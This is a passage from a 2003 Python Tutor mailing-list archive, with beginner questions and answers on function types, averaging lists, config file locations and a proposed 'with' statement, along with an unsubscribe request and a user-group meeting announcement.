		print "\n\nSucceeded."	# whatever makes sense for your application
	raw_input( "Press Enter Key (return) to close program")
	sys.exit( error_code)

The key piece is the raw_input statement that holds the screen open until the
enter key is pressed.  The rest just tries to make sure that errors are reported
and that the program will not exit without reaching the raw_input call.

Normally a plain "except:" statement is a mistake.  I think it is OK here.

Guillaume wrote:
> Hi,
> I found it great (I've got some problems as usually, I'll
> talk about later!)
> But I was quite astonished coz this course is not translated
> in french :-o
> So I can do it if u want (I've already translated some docs cf 
> doc.gentoofr.org)
>  
> Right my problem.
> Unfortunately at the present moment I'm working under W$ Me (beurk!)
> and when I open a .py file, this lanches the interpreter and runs the prog
> in a console window but this consol disappears immediately after the 
> prog completes
> its execution so that I can't read the output :'(
> Even when i'm using Pythonwin.
> I read that in a book (I forgot the author sorry)
> "An alternative approach is to launch the prog using a .bat file 
> containing a
> statement such as python -i helloworld.py that instructs the interpreter 
> to enter
> interactive mode after prog execution."
> Where must I put this prog? Will I have to repeat the .bat for all the
> .py file I want to read?? Or have u got a solution to make that stuff 
> easier?
> Thanx
>  
>  


-- 
Lloyd Kvam
Venix Corp.
1 Court Street, Suite 378
Lebanon, NH 03766-1358

voice:	603-443-6155
fax:	801-459-9582



From douthit121@yahoo.com  Tue Jun 10 12:55:03 2003
From: douthit121@yahoo.com (Stephen Douthit)
Date: Tue Jun 10 11:55:03 2003
Subject: [Tutor] unsubscribe
Message-ID: <3EE52FA7.000003.43771@b7m3k2>

--------------Boundary-00=_V6R8G6G0000000000000
Content-Type: Multipart/Alternative;
  boundary="------------Boundary-00=_V6R8BHK0000000000000"


--------------Boundary-00=_V6R8BHK0000000000000
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

please unsubscribe me from this mailing=0D
=0D
thanks
--------------Boundary-00=_V6R8BHK0000000000000
Content-Type: Text/HTML;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Diso-8859-=
1">
<META content=3D"IncrediMail 1.0" name=3DGENERATOR>
<!--IncrdiXMLRemarkStart>
<IncrdiX-Info>
<X-FID>FLAVOR00-NONE-0000-0000-000000000000</X-FID>
<X-FVER>3.0</X-FVER>
<X-CNT>;</X-CNT>
</IncrdiX-Info>
<IncrdiXMLRemarkEnd-->
</HEAD>
<BODY style=3D"BACKGROUND-POSITION: 0px 0px; FONT-SIZE: 12pt; MARGIN: 5px=
 10px 10px; FONT-FAMILY: Arial" bgColor=3D#ffffff background=3D"" scroll=3D=
yes ORGYPOS=3D"0" X-FVER=3D"3.0">
<TABLE id=3DINCREDIMAINTABLE cellSpacing=3D0 cellPadding=3D2 width=3D"100=
%" border=3D0>
<TBODY>
<TR>
<TD id=3DINCREDITEXTREGION style=3D"FONT-SIZE: 12pt; CURSOR: auto; FONT-F=
AMILY: Arial" width=3D"100%">
<DIV>please unsubscribe me from this mailing</DIV>
<DIV>&nbsp;</DIV>
<DIV>thanks</DIV></TD></TR>
<TR>
<TD id=3DINCREDIFOOTER width=3D"100%">
<TABLE cellSpacing=3D0 cellPadding=3D0 width=3D"100%">
<TBODY>
<TR>
<TD width=3D"100%"></TD>
<TD id=3DINCREDISOUND vAlign=3Dbottom align=3Dmiddle></TD>
<TD id=3DINCREDIANIM vAlign=3Dbottom align=3Dmiddle></TD></TR></TBODY></T=
ABLE></TD></TR></TBODY></TABLE><SPAN id=3DIncrediStamp><SPAN dir=3Dltr><F=
ONT face=3D"Arial, Helvetica, sans-serif" size=3D2>______________________=
______________________________<BR><FONT face=3D"Comic Sans MS" size=3D2><=
A href=3D"http://www.incredimail.com/redir.asp?ad_id=3D309&amp;lang=3D9">=
<IMG alt=3D"" hspace=3D0 src=3D"cid:2B93F6E6-9ABE-11D7-8223-444553540000"=
 align=3Dbaseline border=3D0></A>&nbsp; <I>IncrediMail</I> - <B>Email has=
 finally evolved</B> - </FONT><A href=3D"http://www.incredimail.com/redir=
=2Easp?ad_id=3D309&amp;lang=3D9"><FONT face=3D"Times New Roman" size=3D3>=
<B><U>Click Here</U></B></FONT></A></SPAN></SPAN></FONT></BODY></HTML>
--------------Boundary-00=_V6R8BHK0000000000000--

--------------Boundary-00=_V6R8G6G0000000000000
Content-Type: image/gif;
  name="IMSTP.gif"
Content-Transfer-Encoding: base64
Content-ID: <2B93F6E6-9ABE-11D7-8223-444553540000>

R0lGODlhFAAPALMIAP9gAM9gAM8vAM9gL/+QL5AvAGAvAP9gL////wAAAAAAAAAAAAAAAAAAAAAA
AAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQJFAAIACwAAAAAFAAPAAAEVRDJSaudJuudrxlEKI6B
URlCUYyjKpgYAKSgOBSCDEuGDKgrAtC3Q/R+hkPJEDgYCjpKr5A8WK9OaPFZwHoPqm3366VKyeRt
E30tVVRscMHDqV/u+AgAIfkEBWQACAAsAAAAABQADwAABBIQyUmrvTjrzbv/YCiOZGmeaAQAIfkE
CRQACAAsAgABABAADQAABEoQIUOrpXIOwrsPxiQUheeRAgUA49YNhbCqK1kS9grQhXGAhsDBUJgZ
AL2Dcqkk7ogFpvRAokSn0p4PO6UIuUsQggSmFjKXdAgRAQAh+QQFCgAIACwAAAAAFAAPAAAEEhDJ
Sau9OOvNu/9gKI5kaZ5oBAAh+QQJFAAIACwCAAEAEAANAAAEShAhQ6ulcg7Cuw/GJBSF55ECBQDj
1g2FsKorWRL2CtCFcYCGwMFQmBkAvYNyqSTuiAWm9ECiRKfSng87pQi5SxCCBKYWMpd0CBEBACH5
BAVkAAgALAAAAAAUAA8AAAQSEMlJq7046827/2AojmRpnmgEADs=

--------------Boundary-00=_V6R8G6G0000000000000--



From jeff@ccvcorp.com  Tue Jun 10 14:30:02 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun 10 13:30:02 2003
Subject: [Tutor] With
References: <20030609160006.26187.25845.Mailman@mail.python.org> <3EE4B9B7.60400@cso.atmel.com> <200306091721.17267.shalehperry@attbi.com> <008c01c32f28$5ba0fba0$6401a8c0@xp> <20030610143113.GB10293@latte.ca>
Message-ID: <3EE61530.8030008@ccvcorp.com>

Blake Winton wrote:

>This problem could be avoided if you had to prefix any "with"-ed
>variables with a ".", or something, so the example would look like:
>
>with this_long_thing
>    foo = 2;
>    .bar = 'bat';
># "do" and "done" ommitted to make it more Pythonic.
>
>Which would indicate that the only thing that came from
>"this_long_thing" was the "bar".  That _might_ not be so bad.  Still a
>little ugly, in my opinion, but clearly in the realm of opinion, and
>not a bad idea.  Of course, I'm still a little unclear about the scope
>of the resulting "foo" variable.  Should it go away at the end of the
>"with"-block?  Wouldn't that make the "with"-block less useful?)
>

Well, loops never create a new scope in Python (only classes and 
functions do that) so the "foo" in this example will be in the same 
scope as if the above were spelled

foo = 2
this_long_thing.bar = 'bat'

I most definitely agree, though that *IF* 'with' were to be added to 
Python, it would be a travesty to not require some indicator (such as 
the leading period) of which names were attributes of the 'with' 
subject, and which were independent variables.  "Explicit is better than 
implicit."  Otherwise, we'd be right back to the same problems created 
by C++'s implicit 'this' pointer, complete with ugly naming conventions 
("a leading 'm_...' indicates a class member", etc).  This is a road 
that I do *not* want to see Python taking.

Personally, I don't see that much point to 'with'.  As others have said, 
it doesn't really accomplish much except for, in the mind of *some* 
people, a "more clear and intuitive" look.  I find it less clear than a 
temporary variable, myself...  but then, I usually don't bother with 
temporary variables, and instead just suck it up and type out the whole 
long name, because explicit is better than implicit and I'll be more 
able to follow this code in three months' time when I have to maintain 
it.  Actually, I rarely have big long identifier chains anyhow -- I keep 
identifier names relatively short, and if I need to use a chain of 
attributes more than once, I tend to presume that this action belongs in 
a method anyhow.  In other words, I wouldn't write

myobject.subobject.field.add(x)
myobject.subobject.field.verify()
myobject.subobject.field.format()

Instead, I'd have a subobject.modify_field() method...

def modify_field(self, fieldname, x):
    field = getattr(self, fieldname)
    field.add(x)
    field.verify()
    field.format()

myobject.subobject.modify_field(field, x)

Thus, I'm using a well-defined method in the same sort of way that 
someone might use 'with'.  I tend to feel that almost any situation 
where 'with' is really useful, is probably a situation where the Law of 
Demeter is being violated, and therefore the solution is not a construct 
that lets me type less, but instead an attempt to refactor.
   
However, as has been said before, if anyone wants to discuss this 
seriously, then the discussion really ought to be moved over to 
comp.lang.python where it might actually accomplish something.  :)

Jeff Shannon
Technician/Programmer
Credit International




From jeff@ccvcorp.com  Tue Jun 10 14:42:04 2003
From: jeff@ccvcorp.com (Jeff Shannon)
Date: Tue Jun 10 13:42:04 2003
Subject: [Tutor] where to put configuration files
References: <20030606230552.GV1597@localhost.localdomain> <3EE4C938.4020802@ccvcorp.com> <20030610032132.GC21763@localhost.localdomain> <200306092117.20343.shalehperry@attbi.com> <20030610064004.GE21763@localhost.localdomain>
Message-ID: <3EE61819.6090106@ccvcorp.com>

Paul Tremblay wrote:

>How can I make a universal rule to parse __file__ in order to get the
>location of data.txt? The actual data.txt can exist many levels up from
>the actual module.
>
>Or do I actually put the data.txt *in* foo to begin with? But if I do
>that, wont' the install utility try to see it as a python file?
>  
>

If you're using a module's __file__, then you'd probably want to put 
that config file directly in the foo directory (or a subdirectory of 
it), yes.  To be honest, I can't say for sure how that'll affect the 
installer (I do all my work in-house, mostly directly on a server, so I 
almost never have a need for distutils...) but I'd be surprised if 
something couldn't be arranged.  

Jeff Shannon
Technician/Programmer
Credit International




From zak@harlekin-maus.com  Tue Jun 10 15:36:03 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Tue Jun 10 14:36:03 2003
Subject: [Tutor] Function type?
Message-ID: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>

Okay, so I can use isinstance as follows:

>>> isinstance('a', str)
1
>>> isinstance(23, int)
1

But what's the shortcut keyword for a function type? Right now, I have to
use a dummy function:

>>> def a(): pass
>>> def squared(x): print x**2
>>> isinstance(b, type(a))
1

Is there a keyword I'm being oblivious to? Or do I need to resort to this
dummy function thing?

Thanks, all

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From Janssen@rz.uni-frankfurt.de  Tue Jun 10 16:00:02 2003
From: Janssen@rz.uni-frankfurt.de (Michael Janssen)
Date: Tue Jun 10 15:00:02 2003
Subject: [Tutor] Function type?
In-Reply-To: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
Message-ID: <Pine.A41.4.30.0306102054360.59988-100000@trollinger.rz.uni-frankfurt.de>

On Tue, 10 Jun 2003, Zak Arntson wrote:

> Okay, so I can use isinstance as follows:
>
> >>> isinstance('a', str)
> 1
> >>> isinstance(23, int)
> 1
>
> But what's the shortcut keyword for a function type? Right now, I have to
...
> Is there a keyword I'm being oblivious to? Or do I need to resort to this
> dummy function thing?

the types-modul has definitions for any (standart) kind of type:

>>> def f(): pass
...
>>> import types
>>> isinstance(f, types.FunctionType)
1

Michael

>
> Thanks, all
>
> --
> Zak Arntson
> www.harlekin-maus.com - Games - Lots of 'em
>
>
>
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>




From abli@freemail.hu  Tue Jun 10 16:05:29 2003
From: abli@freemail.hu (Abel Daniel)
Date: Tue Jun 10 15:05:29 2003
Subject: [Tutor] Function type?
In-Reply-To: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
Message-ID: <20030610190324.GA2300@hooloovoo>

Arntson wrote:
> Okay, so I can use isinstance as follows:
> 
> >>> isinstance('a', str)
> 1
> >>> isinstance(23, int)
> 1
> 
> But what's the shortcut keyword for a function type? Right now, I have to
> use a dummy function:
> 
> >>> def a(): pass
> >>> def squared(x): print x**2
> >>> isinstance(b, type(a))
> 1
> 
> Is there a keyword I'm being oblivious to? Or do I need to resort to this
> dummy function thing?
You need callable().
Note that most of the time you shouldn't need to do this. Usually people
want to check types to ensure they got the right data. However, trying
to do whatever you want to do with it, and letting the user take care of
the exceptions raised is usually cleaner. (Where user == "the programmer
who uses the code you wrote".)

Abel Daniel


From wesc@fuzzyorange.com  Tue Jun 10 16:06:02 2003
From: wesc@fuzzyorange.com (Wesley Chun)
Date: Tue Jun 10 15:06:02 2003
Subject: [Tutor] ANN: BayPIGgies mtg Wed Jun 11 7:30pm
Message-ID: <Pine.LNX.4.31.0306101147380.7208-100000@emperor.deirdre.org>

BayPIGgies: Silicon Valley-San Francisco Bay Area Python Users Group

When:     June 11, 2003 @ 7:30pm
Where:    Stanford University, Palo Alto, CA
Agenda:   BayPIGgies, OSCON/Py11, Curl, etc.

This month's an informal meeting where we all get together to shoot the
hay and talk about the future of BayPIGgies: upcoming meetings, stephen's
and chad's survey of topics, website cleanup, and future direction now
that Wesley will be preoccupied in the near-term :-).

We will also ruminate about the upcoming O'Reilly Open Source Convention
(OSCON) and Python 11 conference happening together in Portland the week
after July 4th.

Finally, anyone fiddle around with Curl and want to give a talk on it with
relationship to Python? Anyway, we'll be giving away a free copy of
"Enterprise Curl" by Paul Sheehan (Dec 2002: Addison-Wesley) for the lucky
volunteer -- talk must be presented in 2003 ;-) -- and also another
giveaway copy in a separate drawing for all attendees this month.

Come join us!

# Call For Talks: We are actively seeking speakers for BayPIGgies! If you
would like to give a talk at one of our 2003 meetings (any Python related
topic), contact us to coordinate!

more info including directions:    http://www.baypiggies.net

hope 2 c u wednesday nite!

-wesley

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

"Core Python Programming", Prentice Hall PTR, =A9 2001
    http://starship.python.net/crew/wesc/cpp/

Silicon Valley-San Francisco Bay Area Python Users Group (BayPIGgies)
    http://baypiggies.net

wesley.j.chun :: wesc at deirdre.org or wesc at fuzzyorange.com
cyberweb.consulting : henderson, nv : cyberweb at rocketmail.com
http://www.roadkill.com/~wesc/cyberweb/



From kalle@lysator.liu.se  Tue Jun 10 16:09:02 2003
From: kalle@lysator.liu.se (Kalle Svensson)
Date: Tue Jun 10 15:09:02 2003
Subject: [Tutor] Function type?
In-Reply-To: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
Message-ID: <20030610190808.GF513@i92.ryd.student.liu.se>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[Zak Arntson]
> Okay, so I can use isinstance as follows:
> 
> >>> isinstance('a', str)
> 1
> >>> isinstance(23, int)
> 1
> 
> But what's the shortcut keyword for a function type? Right now, I
> have to use a dummy function:
> 
> >>> def a(): pass
> >>> def squared(x): print x**2
> >>> isinstance(b, type(a))
> 1
> 
> Is there a keyword I'm being oblivious to? Or do I need to resort to
> this dummy function thing?

You can use types.FunctionType.  But what is it you are trying to do?
In my several years of programming Python, I haven't used many
isinstance calls that I couldn't replace with something better.
(There are a few, but that's the exception.)  Often, it is much more
useful to check for a property of the object being examined other than
type.  This means that objects of different types but with the
required property (e.g. being callable) can be used transparently.

Peace,
  Kalle
- -- 
Kalle Svensson, http://www.juckapan.org/~kalle/
Student, root and saint in the Church of Emacs.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 <http://mailcrypt.sourceforge.net/>

iD8DBQE+5iySdNeA1787sd0RAt2NAKCefagAuZmEiWCAahULlm49qgy/jQCfRBpz
DNS1Df5E8FD/osS0XtTjOAg=
=9A2c
-----END PGP SIGNATURE-----


From kalle@lysator.liu.se  Tue Jun 10 16:14:02 2003
From: kalle@lysator.liu.se (Kalle Svensson)
Date: Tue Jun 10 15:14:02 2003
Subject: [Tutor] Function type?
In-Reply-To: <20030610190808.GF513@i92.ryd.student.liu.se>
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com> <20030610190808.GF513@i92.ryd.student.liu.se>
Message-ID: <20030610191348.GG513@i92.ryd.student.liu.se>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[me, in response to Zak Arntson]
> Often, it is much more useful to check for a property of the object
> being examined other than type.

For an example, see the 'Accurate "Look before you leap" for safer
(but still full) polymorphism' recipe by Alex Martelli:

http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52291

Peace,
  Kalle
- -- 
Kalle Svensson, http://www.juckapan.org/~kalle/
Student, root and saint in the Church of Emacs.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 <http://mailcrypt.sourceforge.net/>

iD8DBQE+5i3hdNeA1787sd0RAqOWAJ4+Cqzss3L++lk+nnhl0OiQlOmhwQCfXwq/
7r6fK6NLdHw5o6se8mPenRQ=
=Kx57
-----END PGP SIGNATURE-----


From tireseas@onetel.com  Tue Jun 10 17:00:03 2003
From: tireseas@onetel.com (valhalla)
Date: Tue Jun 10 16:00:03 2003
Subject: [Tutor] Maths operations on lists
In-Reply-To: <20030610155503.32579.77450.Mailman@mail.python.org>
References: <20030610155503.32579.77450.Mailman@mail.python.org>
Message-ID: <200306102057.09889.tireseas@onetel.com>

Hello Pythonites

This may be a no-brainer, but after looking at several docs on lists I ca=
nnot=20
get my head around the proper way of doing this, so I would appreciate so=
me=20
help.

I'm working on a pretty basic guessing game, but wanted to keep a tally o=
f the=20
number of times it takes the player to guess the correct number and then =
to=20
average that tally out over the number of games, to yield an output along=
 the=20
lines of: "You took an average of 5 guesses", or whatever.
The inputs would be:
(a) the number of guesses per game which I have appended to a list
(b) the total number of games played
and the output
(a) divided by (b) =3D=3D (c) average

I *think* what I am after is a way of adding the contents of a list and t=
hen=20
dividing that total to yield an average - but I'm not sure (i) whether on=
e=20
can do those operations with lists and if so, how or (ii) if not, what th=
e=20
next best thing would be, given that there has to be a data structure to=20
catch the number of guesses per game.=20

Any ideas/clues?

Cheers
=20
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
||  Reg. Linux User: 313143 ||
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Sign the Petition:
http://www.PetitionOnline.com/endtcpa1/


From mike@daboyz.org  Tue Jun 10 17:17:00 2003
From: mike@daboyz.org (Michael Barrett)
Date: Tue Jun 10 16:17:00 2003
Subject: [Tutor] Maths operations on lists
In-Reply-To: <200306102057.09889.tireseas@onetel.com>
References: <20030610155503.32579.77450.Mailman@mail.python.org> <200306102057.09889.tireseas@onetel.com>
Message-ID: <20030610201430.GA28097@daboyz.org>

Assuming you have a list of the # of guesses per game called numOfGuesses, here's what I'd do.

# Assume numOfGuesses = [ 4, 6, 10, 5 ]

>>> numOfGuesses = [ 4, 6, 10, 5 ]
>>> totalGuesses = 0
>>> for guess in numOfGuesses:
...     totalGuesses = totalGuesses + guess
... 
>>> print "Total # of guesses: %d" % ( totalGuesses )
Total # of guesses: 25
>>> print "Total # of games: %d" % ( len(numOfGuesses) )
Total # of games: 4
>>> print "Average guesses per game: %f" % ( float(totalGuesses) / float(len(numOfGuesses)) )
Average guesses per game: 6.250000


=======

Hope that helps.

On Tue, Jun 10, 2003 at 08:57:09PM +0100, valhalla wrote:
> Hello Pythonites
> 
> This may be a no-brainer, but after looking at several docs on lists I cannot 
> get my head around the proper way of doing this, so I would appreciate some 
> help.
> 
> I'm working on a pretty basic guessing game, but wanted to keep a tally of the 
> number of times it takes the player to guess the correct number and then to 
> average that tally out over the number of games, to yield an output along the 
> lines of: "You took an average of 5 guesses", or whatever.
> The inputs would be:
> (a) the number of guesses per game which I have appended to a list
> (b) the total number of games played
> and the output
> (a) divided by (b) == (c) average
> 
> I *think* what I am after is a way of adding the contents of a list and then 
> dividing that total to yield an average - but I'm not sure (i) whether one 
> can do those operations with lists and if so, how or (ii) if not, what the 
> next best thing would be, given that there has to be a data structure to 
> catch the number of guesses per game. 
> 
> Any ideas/clues?
> 
> Cheers
>  
> ====================
> ||  Reg. Linux User: 313143 ||
> ====================
> Sign the Petition:
> http://www.PetitionOnline.com/endtcpa1/
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

-- 
     ________________________________________________________________________
                Mike Barrett | "We have veggie bacon, why don't we have
             mike@daboyz.org |  meat fruit?"
              www.daboyz.org |    -- My co-worker, Ben
     ------------------------+-----------------------------------------------


From kalle@lysator.liu.se  Tue Jun 10 17:52:02 2003
From: kalle@lysator.liu.se (Kalle Svensson)
Date: Tue Jun 10 16:52:02 2003
Subject: [Tutor] Maths operations on lists
In-Reply-To: <200306102057.09889.tireseas@onetel.com>
References: <20030610155503.32579.77450.Mailman@mail.python.org> <200306102057.09889.tireseas@onetel.com>
Message-ID: <20030610205137.GH513@i92.ryd.student.liu.se>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[valhalla]
> I *think* what I am after is a way of adding the contents of a list
> and then dividing that total to yield an average - but I'm not sure
> (i) whether one can do those operations with lists and if so, how or
> (ii) if not, what the next best thing would be, given that there has
> to be a data structure to catch the number of guesses per game.

Sure you can, it sounds to me like a list is the prefect data
structure for the job here.  Basically, first you loop through the
list, computing the sum for each step:

  sum = 0.0
  for num in guesses:
      sum += num

If you add print statements to the loop body, you'll see what's
happening.

  guesses = [3, 6, 2, 5]
  sum = 0.0
  for num in guesses:
      sum += num
      print "Number:", num
      print "Current sum:", sum

will produce

  Number: 3
  Current sum: 3.0
  Number: 6
  Current sum: 9.0
  Number: 2
  Current sum: 11.0
  Number: 5
  Current sum: 16.0

(Note for the attentive reader: I made the sum a floating point number
instead of an integer.  This will make the code for the division step
more natural, and I avoid having to explain integer division.  Ooops,
shouldn't have said anything.)

Now, we have the sum in the variable 'sum'.  Next, we divide it by the
number of games (which, very conveniently, is also the length of the
list 'guesses') and print it:

  average = sum / len(guesses)
  print "Average:", average

which prints

  Average: 4.0

Now, there are other ways to write this.  For example, the for loop
and temporary variable 'sum' could be replaced by a call to the
built-in function 'filter' or even, in Python 2.3, the function 'sum'.
A nice exercise for the interested reader might be to write a
recursive function to generate the sum of a list of numbers.

Peace,
  Kalle
- -- 
Kalle Svensson, http://www.juckapan.org/~kalle/
Student, root and saint in the Church of Emacs.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.7 (GNU/Linux)
Comment: Processed by Mailcrypt 3.5.6 <http://mailcrypt.sourceforge.net/>

iD8DBQE+5kSjdNeA1787sd0RAl2xAJ95rQdg5dlTxNMPsCz1ShveUr0PCQCgwn3U
eZvpKIEEC7OAJeVTt5ZAqqI=
=lTaM
-----END PGP SIGNATURE-----


From zak@harlekin-maus.com  Tue Jun 10 17:58:01 2003
From: zak@harlekin-maus.com (Zak Arntson)
Date: Tue Jun 10 16:58:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
In-Reply-To: <20030610190324.GA2300@hooloovoo>
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
 <20030610190324.GA2300@hooloovoo>
Message-ID: <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>

>>
>> But what's the shortcut keyword for a function type? Right now, I have
>> to use a dummy function:
>>
>> Is there a keyword I'm being oblivious to? Or do I need to resort to
>> this dummy function thing?

> You need callable().
>
> Abel Daniel

Thanks, everyone! I think callable() is the way to go. Silly me, not
thinking to look in the built-in functions. I'm working on an interactive
fiction system, and I'm wondering how to best handle things that are
either strings or functions. For example, if you have a item with a
description, you could either have:

>>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
>>> pipe.desc = "A heavy green pipe."

OR

>>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
>>> def pipeDesc ():
        if self.parent == player:
             return "A green pipe, heavy in your hands."
        return "A green pipe on the ground."
>>> pipe.desc = pipeDesc

That way the examine code could look like:

def get(obj):
    if callable(obj):
        return obj()
    return obj

class Item:
    ...
    def examine():
       print get(self.desc)

Which leads me to another question: Is it possible to define a function
immediately as a variable? Something like:

>>> pipe = Item('pipe', name='pipe', adj=['green', 'heavy'])
>>> def pipe.desc ():
        if self.parent == player:
            ....

OR

>>> pipe.desc = def ():
        if self.parent == player:
            ....

Or is there a cleaner way to do this that I'm not aware of?

-- 
Zak Arntson
www.harlekin-maus.com - Games - Lots of 'em




From idiot1@netzero.net  Tue Jun 10 19:39:01 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Tue Jun 10 18:39:01 2003
Subject: [Tutor] unsubscribe
References: <3EE52FA7.000003.43771@b7m3k2>
Message-ID: <3EE65DC9.5070305@netzero.net>

I refuse.


Stephen Douthit wrote:
> please unsubscribe me from this mailing
>  
> thanks
> 
> ____________________________________________________
> <http://www.incredimail.com/redir.asp?ad_id=309&lang=9>  IncrediMail - 
> Email has finally evolved - Click Here 
> <http://www.incredimail.com/redir.asp?ad_id=309&lang=9>


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From alan.gauld@blueyonder.co.uk  Tue Jun 10 19:51:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 10 18:51:01 2003
Subject: [Tutor] Function type?
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>
Message-ID: <00d601c32fa2$e861b230$6401a8c0@xp>

Zak,

> But what's the shortcut keyword for a function type?

All the types are defined in the types module so do:

import types
dir(types) to see a list.

One of them is FunctionType...

> Is there a keyword I'm being oblivious to? Or do I need to resort to
this
> dummy function thing?

You could have used a lambda to save the dummy function,
but the better solution is to use the Types module.

Alan G.



From alan.gauld@blueyonder.co.uk  Tue Jun 10 19:58:07 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 10 18:58:07 2003
Subject: [Tutor] Maths operations on lists
References: <20030610155503.32579.77450.Mailman@mail.python.org> <200306102057.09889.tireseas@onetel.com>
Message-ID: <00e101c32fa3$d89983e0$6401a8c0@xp>

> I *think* what I am after is a way of adding the contents 
> of a list and then dividing that total to yield an average 

You can do that using the list manipulation functions.
One example would be:

import operator
average = reduce(operator.add, myList)/len(myList)

reduce goes thru the list repeatedly combining the first 
two members using the supplied function(add in our case)
until there is only a single value left.

[ For more on reduce and it's cousins see the "Functional 
  Programming" topic in my tutor. ]

We then divide by the length of the list to get the average.

Is that what you mean?

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From alan.gauld@blueyonder.co.uk  Tue Jun 10 20:02:01 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Tue Jun 10 19:02:01 2003
Subject: [Tutor] Function assignment (was: Re: Function type?)
References: <2189.192.207.104.206.1055270101.squirrel@mail.harlekin-maus.com>        <20030610190324.GA2300@hooloovoo> <2609.192.207.104.206.1055278632.squirrel@mail.harlekin-maus.com>
Message-ID: <00ea01c32fa4$6c8c6c70$6401a8c0@xp>

> Which leads me to another question: Is it possible to define a
function
> immediately as a variable? Something like:

Yes using lambda, but you are restricted to a single expression.

[ See my tutor topic on Functional Programming for how to get
  round this restriction]

def b(n): return n*n

is the same as:

b = lambda n: n*n

HTH,

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld



From GREENDAY31087@aol.com  Tue Jun 10 20:44:01 2003
From: GREENDAY31087@aol.com (GREENDAY31087@aol.com)
Date: Tue Jun 10 19:44:01 2003
Subject: [Tutor] please help- lists
Message-ID: <63.1e28ea4e.2c17c701@aol.com>

--part1_63.1e28ea4e.2c17c701_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

**I've sent this mail before but wasn't able to get online and all my stuff 
was deleted. So here it is again. **

I'm going to make a little program that tells the user his or her 
sign-Pisces, Libra, Gemini, etc. This isn't a program I want people to take seriously but 
I'm making it to test what I've been learning. This is my first language and 
I'm not experienced at all.

Anyway, my first problem is the months. Determining what your sign is depends 
on the month but it's not like every sign starts on the first day of the 
month. (march 1st-31st: you are a Pisces) the different signs start in the middle 
of the month. So you cant just take the input (month) and determine what sign 
corresponds with it. I was thinking about making each month a certain value 
and then asking the user the day of the month they were born. After that, the 
program could add the day to the month value to make a new value. I could assign 
a different sign to each range of numbers and if, say, the value was in the 
range that 'Pisces' covers, they would be Pisces. Follow me so far?

My next problem is not as complicated as the first one but I don't know what 
should be made into a function to be called. Should I make the whole month 
thing into a function or should I not define any functions? I'm sort of confused. 
Also, I wanted to know ... will this program probably need to use a list?

pisces(february19-march20)
aries(march21-april19)
taurus(april20-may20)
gemini(may21-june20)
cancer(june21-july22)
leo(july23-august22)
virgo(august23-september22)
libra(september23-october22)
scorpio(october23-november22)
sagiattius(november23-december21)
capricorn(december22-january19)
aquarius(january20-february18)

If you understood my explanation clearly, could someone help?
THANKS
-Wayne

--part1_63.1e28ea4e.2c17c701_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">**I've sent this mail before but wasn't able to get on=
line and all my stuff was deleted. So here it is again. **<BR>
<BR>
I'm going to make a little program that tells the user his or her sign-Pisce=
s, Libra, Gemini, etc. This isn't a program I want people to take seriously=20=
but I'm making it to test what I've been learning. This is my first language=
 and I'm not experienced at all.<BR>
<BR>
Anyway, my first problem is the months. Determining what your sign is depend=
s on the month but it's not like every sign starts on the first day of the m=
onth. (march 1st-31st: you are a Pisces) the different signs start in the mi=
ddle of the month. So you cant just take the input (month) and determine wha=
t sign corresponds with it. I was thinking about making each month a certain=
